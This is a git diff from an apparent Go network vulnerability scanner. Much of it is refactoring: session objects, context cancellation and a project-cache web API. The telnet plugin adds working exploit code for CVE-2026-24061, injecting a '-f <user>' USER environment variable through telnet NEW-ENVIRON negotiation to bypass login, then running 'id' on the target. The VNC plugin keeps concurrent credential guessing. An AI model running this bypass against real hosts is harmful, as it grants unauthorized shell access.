*TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, config *common.Config, state *common.State) (bool, string, string) { +func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common.HostInfo, username, password string, session *common.ScanSession) (bool, string, string) { target := info.Target() type rceResult struct { @@ -586,14 +597,14 @@ func (p *TelnetPlugin) verifyCommandExecution(ctx context.Context, info *common. resultChan := make(chan rceResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { resultChan <- rceResult{} return } defer func() { _ = conn.Close() }() - _ = conn.SetDeadline(time.Now().Add(config.Timeout + telnetRCEExtraTimeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout + telnetRCEExtraTimeout)) // 需要认证时先登录 if username != "" || password != "" { @@ -747,6 +758,264 @@ func (p *TelnetPlugin) drainBuffer(conn net.Conn) { } } +// checkCVE202624061Concurrent 并发检测多个用户,首个命中即返回 +func (p *TelnetPlugin) checkCVE202624061Concurrent(ctx context.Context, info *common.HostInfo, session *common.ScanSession, config *common.Config) *ScanResult { + cveUsers := config.Credentials.Userdict["telnet"] + if len(cveUsers) == 0 { + cveUsers = []string{"root", "admin", "administrator"} + } + + type cveHit struct { + user string + evidence string + } + + ctx, cancel := context.WithCancel(ctx) + defer cancel() + + ch := make(chan cveHit, 1) + var wg sync.WaitGroup + + for _, user := range cveUsers { + wg.Add(1) + go func(u string) { + defer wg.Done() + if vuln, cveUser, evidence := p.checkCVE202624061(ctx, info, session, u); vuln { + select { + case ch <- cveHit{user: cveUser, evidence: evidence}: + cancel() // 通知其他 goroutine 停止 + default: + } + } + }(user) + } + + // 等待全部完成后关闭 channel + go func() { + wg.Wait() + close(ch) + }() + + if hit, ok := <-ch; ok { + target := info.Target() + common.LogVuln(i18n.Tr("telnet_cve202624061", target, hit.user, hit.evidence)) + return &ScanResult{ + Success: true, + Type: plugins.ResultTypeVuln, + Service: "telnet", + Banner: fmt.Sprintf("CVE-2026-24061 Telnetd Authentication Bypass (user: %s)", hit.user), + } + } + return nil +} + +// checkCVE202624061 检测 CVE-2026-24061 Telnetd Authentication Bypass 漏洞 +// 利用 NEW-ENVIRON (option 39) 子协商注入恶意环境变量,实现认证绕过 +// 返回 (是否漏洞, 触发用户名, 证据) +func (p *TelnetPlugin) checkCVE202624061(ctx context.Context, info *common.HostInfo, session *common.ScanSession, user string) (bool, string, string) { + conn, err := session.DialTCP(ctx, "tcp", info.Target(), session.Config.Timeout) + if err != nil { + return false, "", "" + } + defer conn.Close() + + chk := &cveChecker{ + conn: conn, + user: user, + buf: make([]byte, 4096), + } + return chk.run() +} + +// cveChecker CVE-2026-24061 检测器 (基于验证过的 POC 逻辑) +type cveChecker struct { + conn net.Conn + user string + exploitSent bool + buf []byte +} + +// sendPayload 发送 NEW-ENVIRON 恶意环境变量 payload +func (e *cveChecker) sendPayload() { + payload := []byte{telnetIAC, telnetSB, telnetNEWENVIRON, 0, 0} + payload = append(payload, []byte("USER")...) + payload = append(payload, 1) // SEND indicator + payload = append(payload, []byte("-f "+e.user)...) + payload = append(payload, telnetIAC, telnetSE) + _, _ = e.conn.Write(payload) + e.exploitSent = true +} + +// sendSubResp 响应服务端子协商请求 +func (e *cveChecker) sendSubResp(opt byte, data []byte) { + resp := []byte{telnetIAC, telnetSB, opt, 0} + resp = append(resp, data...) + resp = append(resp, telnetIAC, telnetSE) + _, _ = e.conn.Write(resp) +} + +// parseIAC 解析 Telnet IAC 协商报文,返回非 IAC 数据部分 +func (e *cveChecker) parseIAC(data []byte) []byte { + var output []byte + i := 0 + for i < len(data) { + if data[i] != telnetIAC { + output = append(output, data[i]) + i++ + continue + } + i++ + if i >= len(data) { + break + } + cmd := data[i] + i++ + if cmd == telnetIAC { + output = append(output, 0xFF) // IAC 转义 + continue + } + // 子协商 (SB) + if cmd == telnetSB { + if i >= len(data) { + break + } + sbOpt := data[i] + i++ + var sbData []byte + for i < len(data)-1 { + if data[i] == telnetIAC && data[i+1] == telnetSE { + i += 2 + break + } + sbData = append(sbData, data[i]) + i++ + } + // 服务端要求回显数据 (SEND indicator = 1) + if len(sbData) > 0 && sbData[0] == 1 { + switch sbOpt { + case 24: + e.sendSubResp(24, []byte("xterm")) + case 32: + e.sendSubResp(32, []byte("38400,38400")) + case telnetNEWENVIRON: + if !e.exploitSent { + e.sendPayload() + } + } + } + continue + } + // DO/DONT/WILL/WONT 协商 + if cmd == telnetDO || cmd == telnetDONT || cmd == telnetWILL || cmd == telnetWONT { + if i >= len(data) { + break + } + opt := data[i] + i++ + switch cmd { + case telnetDO: + if opt == 24 || opt == 32 || opt == telnetNEWENVIRON { + _, _ = e.conn.Write([]byte{telnetIAC, telnetWILL, opt}) + } else { + _, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt}) + } + case telnetWILL: + if opt == 1 || opt == 3 { + _, _ = e.conn.Write([]byte{telnetIAC, telnetDO, opt}) + } else { + _, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt}) + } + case telnetWONT: + _, _ = e.conn.Write([]byte{telnetIAC, telnetDONT, opt}) + case telnetDONT: + _, _ = e.conn.Write([]byte{telnetIAC, telnetWONT, opt}) + } + } + } + return output +} + +// readAll 读取连接中的所有可用数据,deadline 控制等待上限 +func (e *cveChecker) readAll(timeout time.Duration) []byte { + var out []byte + _ = e.conn.SetReadDeadline(time.Now().Add(timeout)) + for { + n, err := e.conn.Read(e.buf) + if n > 0 { + out = append(out, e.parseIAC(e.buf[:n])...) + // 收到数据后缩短后续等待,快速收完尾包 + _ = e.conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond)) + } + if err != nil { + break + } + } + return out +} + +// genToken 生成 16 位随机验证 token +func (e *cveChecker) genToken() string { + b := make([]byte, 8) + _, _ = rand.Read(b) + return fmt.Sprintf("%x", b) +} + +// extractEvidence 从输出中提取包含关键词的完整行作为证据,清理 \r 控制字符 +func (e *cveChecker) extractEvidence(data string, keywords []string) string { + for _, kw := range keywords { + for _, line := range strings.Split(data, "\n") { + line = strings.TrimSpace(strings.ReplaceAll(line, "\r", "")) + if line != "" && strings.Contains(line, kw) { + return "[" + line + "]" + } + } + } + return "" +} + +// run 执行 CVE-2026-24061 检测流程 +// 优先级: id 命令输出 > echo token 回显 +func (e *cveChecker) run() (bool, string, string) { + // 阶段 1: IAC 协商(deadline 控制,不 sleep) + _ = e.conn.SetReadDeadline(time.Now().Add(3 * time.Second)) + for { + n, err := e.conn.Read(e.buf) + if err != nil { + break + } + out := e.parseIAC(e.buf[:n]) + if len(out) > 0 || e.exploitSent { + break + } + } + + // 协商未触发 exploit 则主动发送 + if !e.exploitSent { + e.sendPayload() + e.readAll(500 * time.Millisecond) // 消费协商回包 + } + + // 阶段 2: id 命令检测 + _, _ = e.conn.Write([]byte("id\n")) + idOutput := string(e.readAll(2 * time.Second)) + + evidence := e.extractEvidence(idOutput, []string{"uid=", "gid="}) + if evidence != "" { + return true, e.user, evidence + } + + // 阶段 3: echo token 验证 + token := e.genToken() + _, _ = e.conn.Write([]byte("echo " + token + "\n")) + result := string(e.readAll(1500 * time.Millisecond)) + stripped := strings.Replace(result, "echo "+token, "", 1) + if strings.Contains(stripped, token) { + return true, e.user, "[echo " + token + "]" + } + + return false, "", "" +} + func init() { RegisterPluginWithPorts("telnet", func() Plugin { return NewTelnetPlugin() diff --git a/plugins/services/types.go b/plugins/services/types.go index 139d550..a3b1afb 100644 --- a/plugins/services/types.go +++ b/plugins/services/types.go @@ -10,7 +10,7 @@ import ( // 插件接口定义 - 统一命名风格 type Plugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult } type ScanResult = plugins.Result diff --git a/plugins/services/vnc.go b/plugins/services/vnc.go index 69f279d..2914632 100644 --- a/plugins/services/vnc.go +++ b/plugins/services/vnc.go @@ -24,11 +24,12 @@ func NewVNCPlugin() *VNCPlugin { } } -func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { + config := session.Config target := info.Target() // 检查未授权访问 - if result := p.testUnauthAccess(ctx, info, config, state); result != nil && result.Success { + if result := p.testUnauthAccess(ctx, info, session); result != nil && result.Success { common.LogVuln(i18n.Tr("vnc_unauth", target)) return result } @@ -47,8 +48,8 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // 使用公共框架进行并发凭据测试 - authFn := p.createAuthFunc(info, config, state) - testConfig := DefaultConcurrentTestConfig(config) + authFn := p.createAuthFunc(info, session) + testConfig := DefaultConcurrentTestConfigWithTarget(config, info) result := TestCredentialsConcurrently(ctx, credentials, authFn, "vnc", testConfig) @@ -60,22 +61,21 @@ func (p *VNCPlugin) Scan(ctx context.Context, info *common.HostInfo, config *com } // createAuthFunc 创建VNC认证函数 -func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc { +func (p *VNCPlugin) createAuthFunc(info *common.HostInfo, session *common.ScanSession) AuthFunc { return func(ctx context.Context, cred Credential) *AuthResult { - return p.doVNCAuth(ctx, info, cred, config, state) + return p.doVNCAuth(ctx, info, cred, session) } } // doVNCAuth 执行VNC认证 -func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult { +func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred Credential, session *common.ScanSession) *AuthResult { target := info.Target() resultChan := make(chan *AuthResult, 1) go func() { - conn, err := common.WrapperTcpWithTimeout("tcp", target, config.Timeout) + conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyVNCErrorType(err), @@ -84,7 +84,7 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C return } - _ = conn.SetDeadline(time.Now().Add(config.Timeout)) + _ = conn.SetDeadline(time.Now().Add(session.Config.Timeout)) vncConfig := &vnc.ClientConfig{ Auth: []vnc.ClientAuth{ @@ -95,7 +95,6 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C client, err := vnc.Client(conn, vncConfig) if err != nil { _ = conn.Close() - state.IncrementTCPFailedPacketCount() resultChan <- &AuthResult{ Success: false, ErrorType: classifyVNCErrorType(err), @@ -104,8 +103,6 @@ func (p *VNCPlugin) doVNCAuth(ctx context.Context, info *common.HostInfo, cred C return } - state.IncrementTCPSuccessPacketCount() - resultChan <- &AuthResult{ Success: true, Conn: &vncClientWrapper{client, conn}, @@ -173,9 +170,9 @@ func classifyVNCErrorType(err error) ErrorType { return ClassifyError(err, nil, CommonNetworkErrors) } -func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { +func (p *VNCPlugin) testUnauthAccess(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { cred := Credential{Username: "", Password: ""} - result := p.doVNCAuth(ctx, info, cred, config, state) + result := p.doVNCAuth(ctx, info, cred, session) if result.Success { if result.Conn != nil { diff --git a/plugins/web/types.go b/plugins/web/types.go index 9e296df..7882ec4 100644 --- a/plugins/web/types.go +++ b/plugins/web/types.go @@ -10,7 +10,7 @@ import ( // WebPlugin Web插件接口 - 使用智能HTTP检测,不需要预定义端口 type WebPlugin interface { Name() string - Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult + Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult } // WebScanResult Web扫描结果类型别名 diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index 273089d..3b43e0b 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -87,7 +87,8 @@ func NewWebPocPlugin() *WebPocPlugin { // Scan 执行Web POC扫描 // 注意:非全量模式下,POC扫描由webtitle插件在指纹识别后触发,此插件不执行 // 全量模式(-full)下,此插件独立执行全量POC扫描 -func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult { +func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult { + config := session.Config if config.POC.Disabled { return &WebScanResult{ Success: false, @@ -106,7 +107,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, config * // 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC target := info.Target() common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target)) - WebScan.WebScan(info, config) + WebScan.WebScan(ctx, info, config) return &WebScanResult{ Type: plugins.ResultTypeWeb, diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index fd51c6f..8b24692 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -39,8 +39,9 @@ func NewWebTitlePlugin() *WebTitlePlugin { } // Scan 执行WebTitle扫描 -func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *WebScanResult { - title, status, length, server, fingerprints, url, err := p.getWebTitle(ctx, info, config) +func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *WebScanResult { + config := session.Config + title, status, length, server, fingerprints, url, err := p.getWebTitle(ctx, info, config, session) if err != nil { return &WebScanResult{ Success: false, @@ -71,6 +72,7 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config return &WebScanResult{ Type: plugins.ResultTypeWeb, Success: true, + Output: url, Title: title, Status: status, Server: server, @@ -78,9 +80,9 @@ func (p *WebTitlePlugin) Scan(ctx context.Context, info *common.HostInfo, config } } -func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, config *common.Config) (string, int, int, string, []string, string, error) { +func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, config *common.Config, session *common.ScanSession) (string, int, int, string, []string, string, error) { // 智能协议检测 - protocol := p.detectProtocol(info, config) + protocol := p.detectProtocol(info, config, session) baseURL := fmt.Sprintf("%s://%s:%d", protocol, info.Host, info.Port) // 构建显示用URL(隐藏标准端口) @@ -159,7 +161,7 @@ func (p *WebTitlePlugin) getWebTitle(ctx context.Context, info *common.HostInfo, } // 执行指纹识别(合并原始响应和跳转后响应的指纹) - fingerprints := p.identifyFingerprintsMulti(info, baseURL, checkDataList, config) + fingerprints := p.identifyFingerprintsMulti(ctx, info, baseURL, checkDataList, config) return title, statusCode, contentLen, server, fingerprints, displayURL, nil } @@ -188,25 +190,20 @@ func (p *WebTitlePlugin) resolveRedirectURL(baseURL, location string) string { } // identifyFingerprintsMulti 识别多个响应的指纹并合并 -func (p *WebTitlePlugin) identifyFingerprintsMulti(info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string { +func (p *WebTitlePlugin) identifyFingerprintsMulti(ctx context.Context, info *common.HostInfo, baseURL string, checkDataList []WebScan.CheckDatas, config *common.Config) []string { // 调用指纹识别 fingerprints := WebScan.InfoCheck(baseURL, &checkDataList) - // 存入缓存 - if len(fingerprints) > 0 { - core.SetFingerprints(info.Host, info.Port, fingerprints) - } - // 非全量模式下,基于指纹触发POC扫描 if !config.POC.Full && !config.POC.Disabled { - p.triggerPocScan(info, fingerprints, config) + p.triggerPocScan(ctx, info, fingerprints, config) } return fingerprints } // triggerPocScan 基于指纹触发POC扫描 -func (p *WebTitlePlugin) triggerPocScan(info *common.HostInfo, fingerprints []string, config *common.Config) { +func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostInfo, fingerprints []string, config *common.Config) { target := info.Target() // 无指纹,跳过 @@ -224,7 +221,7 @@ func (p *WebTitlePlugin) triggerPocScan(info *common.HostInfo, fingerprints []st // 基于指纹执行POC扫描 common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints)) info.Info = fingerprints - WebScan.WebScan(info, config) + WebScan.WebScan(ctx, info, config) } // formatHeaders 将 HTTP Header 格式化为字符串 @@ -239,7 +236,7 @@ func (p *WebTitlePlugin) formatHeaders(headers http.Header) string { } // detectProtocol 智能检测HTTP/HTTPS协议(基于服务识别和主动探测) -func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Config) string { +func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Config, session *common.ScanSession) string { host := info.Host port := info.Port @@ -266,7 +263,7 @@ func (p *WebTitlePlugin) detectProtocol(info *common.HostInfo, config *common.Co // 第三优先级:主动协议检测(TLS握手) // 对于-u模式或服务名为普通"http"的情况,进行主动检测确认 - detected := core.DetectHTTPScheme(host, port, config) + detected := core.DetectHTTPScheme(host, port, config, session) if detected != "" { // 缓存检测结果(避免重复检测) if exists { diff --git a/web/api/project.go b/web/api/project.go new file mode 100644 index 0000000..1469384 --- /dev/null +++ b/web/api/project.go @@ -0,0 +1,293 @@ +//go:build web + +package api + +import ( + "crypto/rand" + "encoding/json" + "fmt" + "net/http" + "os" + "path/filepath" + "strings" + "sync" + "time" +) + +// ProjectCache 项目缓存:跨扫描持久化已知资产 +type ProjectCache struct { + ID string `json:"id"` + Name string `json:"name"` + Hosts map[string]int64 `json:"hosts"` // IP → 最后发现时间戳(unix) + Ports map[string]int64 `json:"ports"` // "IP:Port" → 最后发现时间戳(unix) + Results []ResultItem `json:"results"` // 历史结果(合并去重) + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} + +// ProjectStore 项目存储管理 +type ProjectStore struct { + mu sync.RWMutex + projects map[string]*ProjectCache + dir string +} + +var globalProjectStore *ProjectStore + +func init() { + home, _ := os.UserHomeDir() + dir := filepath.Join(home, ".fscan", "projects") + globalProjectStore = &ProjectStore{ + projects: make(map[string]*ProjectCache), + dir: dir, + } + globalProjectStore.loadAll() +} + +// loadAll 从磁盘加载所有项目 +func (ps *ProjectStore) loadAll() { + _ = os.MkdirAll(ps.dir, 0750) + entries, err := os.ReadDir(ps.dir) + if err != nil { + return + } + for _, e := range entries { + if e.IsDir() || !strings.HasSuffix(e.Name(), ".json") { + continue + } + data, err := os.ReadFile(filepath.Join(ps.dir, e.Name())) + if err != nil { + continue + } + var p ProjectCache + if json.Unmarshal(data, &p) == nil && p.ID != "" { + ps.projects[p.ID] = &p + } + } +} + +// save 持久化单个项目 +func (ps *ProjectStore) save(p *ProjectCache) error { + _ = os.MkdirAll(ps.dir, 0750) + data, err := json.MarshalIndent(p, "", " ") + if err != nil { + return err + } + return os.WriteFile(filepath.Join(ps.dir, p.ID+".json"), data, 0640) +} + +// Get 获取项目 +func (ps *ProjectStore) Get(id string) *ProjectCache { + ps.mu.RLock() + defer ps.mu.RUnlock() + return ps.projects[id] +} + +// List 列出所有项目 +func (ps *ProjectStore) List() []*ProjectCache { + ps.mu.RLock() + defer ps.mu.RUnlock() + list := make([]*ProjectCache, 0, len(ps.projects)) + for _, p := range ps.projects { + list = append(list, p) + } + return list +} + +// Create 创建项目 +func (ps *ProjectStore) Create(name string) (*ProjectCache, error) { + ps.mu.Lock() + defer ps.mu.Unlock() + + id := genID() + p := &ProjectCache{ + ID: id, + Name: name, + Hosts: make(map[string]int64), + Ports: make(map[string]int64), + Results: make([]ResultItem, 0), + CreatedAt: time.Now(), + UpdatedAt: time.Now(), + } + if err := ps.save(p); err != nil { + return nil, err + } + ps.projects[id] = p + return p, nil +} + +// Delete 删除项目 +func (ps *ProjectStore) Delete(id string) error { + ps.mu.Lock() + defer ps.mu.Unlock() + delete(ps.projects, id) + return os.Remove(filepath.Join(ps.dir, id+".json")) +} + +// MergeResults 将扫描结果合并进项目缓存 +func (ps *ProjectStore) MergeResults(id string, items []ResultItem) error { + ps.mu.Lock() + defer ps.mu.Unlock() + + p, ok := ps.projects[id] + if !ok { + return fmt.Errorf("project not found: %s", id) + } + + now := time.Now().Unix() + + // 构建已有结果的去重集合 + seen := make(map[string]bool, len(p.Results)) + for _, r := range p.Results { + seen[resultKey(r)] = true + } + + for _, item := range items { + // 更新资产缓存 + switch strings.ToLower(item.Type) { + case "host": + if item.Target != "" { + p.Hosts[item.Target] = now + } + case "port", "service": + if item.Target != "" { + p.Ports[item.Target] = now + // 提取 host 部分也记入 Hosts + if host := extractHost(item.Target); host != "" { + p.Hosts[host] = now + } + } + } + + // 合并去重 + key := resultKey(item) + if !seen[key] { + seen[key] = true + p.Results = append(p.Results, item) + } + } + + p.UpdatedAt = time.Now() + return ps.save(p) +} + +// CachedHostPorts 返回缓存的 host:port 列表(供注入扫描) +func (ps *ProjectStore) CachedHostPorts(id string) []string { + ps.mu.RLock() + defer ps.mu.RUnlock() + + p, ok := ps.projects[id] + if !ok { + return nil + } + result := make([]string, 0, len(p.Ports)) + for hp := range p.Ports { + result = append(result, hp) + } + return result +} + +func resultKey(r ResultItem) string { + return fmt.Sprintf("%s|%s|%s", r.Type, r.Target, r.Status) +} + +func genID() string { + b := make([]byte, 8) + _, _ = rand.Read(b) + return fmt.Sprintf("%x", b) +} + +// ─── HTTP Handlers ────────────────────────────────────────────────────────── + +type ProjectHandler struct { + store *ProjectStore +} + +func NewProjectHandler() *ProjectHandler { + return &ProjectHandler{store: globalProjectStore} +} + +// List 列出所有项目 +func (h *ProjectHandler) List(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + writeJSON(w, http.StatusOK, h.store.List()) +} + +// Create 创建项目 +func (h *ProjectHandler) Create(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + var req struct { + Name string `json:"name"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.Name == "" { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "name is required"}) + return + } + p, err := h.store.Create(req.Name) + if err != nil { + writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) + return + } + writeJSON(w, http.StatusOK, p) +} + +// Get 获取项目详情 +func (h *ProjectHandler) Get(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + id := r.URL.Query().Get("id") + p := h.store.Get(id) + if p == nil { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) + return + } + writeJSON(w, http.StatusOK, p) +} + +// Delete 删除项目 +func (h *ProjectHandler) Delete(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + var req struct { + ID string `json:"id"` + } + if err := json.NewDecoder(r.Body).Decode(&req); err != nil || req.ID == "" { + writeJSON(w, http.StatusBadRequest, map[string]string{"error": "id is required"}) + return + } + if err := h.store.Delete(req.ID); err != nil { + writeJSON(w, http.StatusInternalServerError, map[string]string{"error": err.Error()}) + return + } + writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"}) +} + +// Cache 查看项目缓存摘要 +func (h *ProjectHandler) Cache(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + id := r.URL.Query().Get("id") + p := h.store.Get(id) + if p == nil { + writeJSON(w, http.StatusNotFound, map[string]string{"error": "project not found"}) + return + } + writeJSON(w, http.StatusOK, map[string]interface{}{ + "hosts": len(p.Hosts), + "ports": len(p.Ports), + "results": len(p.Results), + "cached_ports": h.store.CachedHostPorts(id), + }) +} diff --git a/web/api/router.go b/web/api/router.go index f32a4d0..b2cc0d5 100644 --- a/web/api/router.go +++ b/web/api/router.go @@ -27,6 +27,14 @@ func RegisterRoutes(mux *http.ServeMux, hub *ws.Hub) { mux.HandleFunc("/api/config/presets", configHandler.Presets) mux.HandleFunc("/api/config/plugins", configHandler.Plugins) + // 项目缓存 + projectHandler := NewProjectHandler() + mux.HandleFunc("/api/projects", projectHandler.List) + mux.HandleFunc("/api/projects/create", projectHandler.Create) + mux.HandleFunc("/api/projects/get", projectHandler.Get) + mux.HandleFunc("/api/projects/delete", projectHandler.Delete) + mux.HandleFunc("/api/projects/cache", projectHandler.Cache) + // 系统信息 mux.HandleFunc("/api/system/info", systemInfo) mux.HandleFunc("/api/health", healthCheck) diff --git a/web/api/scan.go b/web/api/scan.go index 1b50f73..6ed4f64 100644 --- a/web/api/scan.go +++ b/web/api/scan.go @@ -3,6 +3,7 @@ package api import ( + "context" "encoding/json" "net/http" "sync" @@ -50,6 +51,9 @@ type ScanRequest struct { PocName string `json:"poc_name"` PocFull bool `json:"poc_full"` DisablePoc bool `json:"disable_poc"` + + // 项目缓存 + ProjectID string `json:"project_id,omitempty"` } // ScanStatus 扫描状态响应 @@ -73,7 +77,7 @@ type ScanHandler struct { hub *ws.Hub state int32 startTime time.Time - stopChan chan struct{} + cancelFn context.CancelFunc mu sync.RWMutex results *ResultStore } @@ -122,7 +126,6 @@ func (h *ScanHandler) Start(w http.ResponseWriter, r *http.Request) { h.mu.Lock() h.startTime = time.Now() - h.stopChan = make(chan struct{}) h.mu.Unlock() // 清空旧结果 @@ -145,8 +148,18 @@ func (h *ScanHandler) Start(w http.ResponseWriter, r *http.Request) { // runScan 执行扫描 func (h *ScanHandler) runScan(req ScanRequest) { + ctx, cancel := context.WithCancel(context.Background()) + + h.mu.Lock() + h.cancelFn = cancel + h.mu.Unlock() + defer func() { - common.ClearResultCallback() // 清除回调 + cancel() + h.mu.Lock() + h.cancelFn = nil + h.mu.Unlock() + common.ClearResultCallback() atomic.StoreInt32(&h.state, int32(ScanStateIdle)) h.hub.Broadcast(ws.MsgScanCompleted, map[string]interface{}{ "duration": time.Since(h.startTime).Seconds(), @@ -172,7 +185,7 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.ScanMode = "all" } fv.ThreadNum = req.ThreadNum - if fv.ThreadNum == 0 { + if fv.ThreadNum <= 0 { fv.ThreadNum = 600 } fv.TimeoutSec = int64(req.Timeout) @@ -180,7 +193,7 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.TimeoutSec = 3 } fv.ModuleThreadNum = req.ModuleThreadNum - if fv.ModuleThreadNum == 0 { + if fv.ModuleThreadNum <= 0 { fv.ModuleThreadNum = 20 } fv.DisablePing = req.DisablePing @@ -196,9 +209,21 @@ func (h *ScanHandler) runScan(req ScanRequest) { fv.DisableSave = true // Web模式不保存到文件 fv.Silent = true // 静默模式 - // 构建Config + // 构建Config和Session config := common.BuildConfigFromFlags(fv) state := common.NewState() + session := common.NewScanSession(config, state, fv) + + // 过渡桥:全局状态同步(待 Phase 5 移除) + common.SetGlobalConfig(config) + common.SetGlobalState(state) + + // 项目缓存注入:把已知的 host:port 加入扫描目标 + if req.ProjectID != "" { + if cached := globalProjectStore.CachedHostPorts(req.ProjectID); len(cached) > 0 { + state.SetHostPorts(cached) + } + } // 设置WebSocket结果回调 common.SetResultCallback(func(result interface{}) { @@ -209,7 +234,15 @@ func (h *ScanHandler) runScan(req ScanRequest) { }) // 执行扫描 - core.RunScan(info, config, state) + core.RunScan(ctx, info, session) + + // 项目缓存回写:合并本次扫描结果 + if req.ProjectID != "" { + items := h.results.List() + if len(items) > 0 { + _ = globalProjectStore.MergeResults(req.ProjectID, items) + } + } } // Stop 停止扫描 @@ -229,8 +262,8 @@ func (h *ScanHandler) Stop(w http.ResponseWriter, r *http.Request) { atomic.StoreInt32(&h.state, int32(ScanStateStopping)) h.mu.Lock() - if h.stopChan != nil { - close(h.stopChan) + if h.cancelFn != nil { + h.cancelFn() } h.mu.Unlock() diff --git a/web/ws/hub.go b/web/ws/hub.go index ad6275b..d68adb6 100644 --- a/web/ws/hub.go +++ b/web/ws/hub.go @@ -97,7 +97,7 @@ func (h *Hub) Run() { h.mu.Unlock() case message := <-h.broadcast: - h.mu.RLock() + h.mu.Lock() for client := range h.clients { select { case client.send <- message: @@ -106,7 +106,7 @@ func (h *Hub) Run() { delete(h.clients, client) } } - h.mu.RUnlock() + h.mu.Unlock() } } } diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index 308c0a4..8235738 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -12,6 +12,7 @@ import ( "strconv" "strings" "sync" + "sync/atomic" "time" "github.com/google/cel-go/cel" @@ -31,18 +32,13 @@ var ( baseProgramOpt []cel.ProgramOption ) -// 包级POC配置 -var ( - pocConfigOnce sync.Once - pocDNSLog bool // DNSLog配置缓存 -) +// 包级POC配置(atomic 保证并发安全) +var pocDNSLog atomic.Bool -// InitPOCConfig 初始化POC配置(在扫描开始前调用一次) +// InitPOCConfig 初始化POC配置(在扫描开始前调用) // 这样CEL回调函数可以使用包级变量而非GetGlobalConfig func InitPOCConfig(dnsLog bool) { - pocConfigOnce.Do(func() { - pocDNSLog = dnsLog - }) + pocDNSLog.Store(dnsLog) } // NewEnv 创建一个新的 CEL 环境(使用缓存避免重复注册函数) @@ -352,7 +348,7 @@ func randomString(n int) string { // 使用包级pocDNSLog变量,由InitPOCConfig初始化 func reverseCheck(r *Reverse, timeout int64) bool { // 检查必要条件(使用包级配置变量) - if ceyeAPI == "" || r.Domain == "" || !pocDNSLog { + if ceyeAPI == "" || r.Domain == "" || !pocDNSLog.Load() { return false } diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 25f695f..1089c7a 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -40,21 +40,27 @@ var 